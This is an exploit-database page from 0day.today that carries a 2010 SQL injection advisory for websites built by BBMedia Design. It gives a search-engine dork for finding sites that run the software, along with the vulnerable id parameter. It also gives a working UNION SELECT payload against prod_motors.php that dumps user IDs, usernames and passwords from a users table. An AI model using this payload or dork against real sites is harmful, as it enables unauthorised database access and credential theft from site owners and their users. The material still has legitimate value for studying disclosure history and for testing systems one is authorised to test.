[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

BBMedia Design's (prod_motors.php) SQL Injection Vulnerability

Author
XroGuE
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12365
Category
web applications
Date add
23-05-2010
Platform
php
============================================
BBMedia Design's SQL Injection Vulnerability
============================================


##########################################
# Name: BBMedia Design's SQL Injection Vulnerability
# Date: 2010-05-23
# vendor: http://www.bbmedia.org
# Author: Ashiyane Digital Security Team
# Discovered By: XroGuE
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################
 
[+] Dork: intext:"Design by BB Media.Org"
 
[+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi]
 
[+] Demo: http://server/prod_motors.php?id=-999+union+all+select+1,2,3,4,5,group_concat(id,0x3a,user,0x3a,pass),7,8,9,10,11,12+from+users
 
##########################################



#  0day.today [2024-11-16]  #